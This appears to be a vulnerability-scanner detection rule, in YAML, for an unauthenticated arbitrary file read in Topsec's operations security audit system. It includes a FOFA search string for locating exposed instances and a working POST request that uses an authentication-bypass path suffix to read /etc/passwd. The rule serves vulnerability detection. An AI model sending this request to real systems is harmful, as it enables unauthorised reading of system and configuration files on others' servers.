topsec-download-fileread: 天融信运维安全审计系统 download 任意文件读取漏洞

id: topsec-download-fileread

info:
  name: 天融信运维安全审计系统 download 任意文件读取漏洞
  author: Superhero
  severity: high
  description: |-
    fofa: header="iam" && server="Apache-Coyote/"
    天融信运维安全审计系统 download 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
  reference:
    - https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247489115&idx=1&sn=03c4f2f4b394c69685af126536321a82&chksm=c267a368f5102a7e9d012f41a9becf65678219efcbc2ba9215f32aea3bc9ec091d5379a50275&token=824558965&lang=zh_CN#rd
  tags: topsec,fileread
  created: 2024/11/15

rules:
  r0:
    request:
      method: POST
      path: /iam/download;.login.jsp
      body: filename=1.txt&filepath=/etc/passwd
    expression: response.status == 200 && response.body.bcontains(b'root:') && response.body.bcontains(b'/bin/bash')
expression: r0()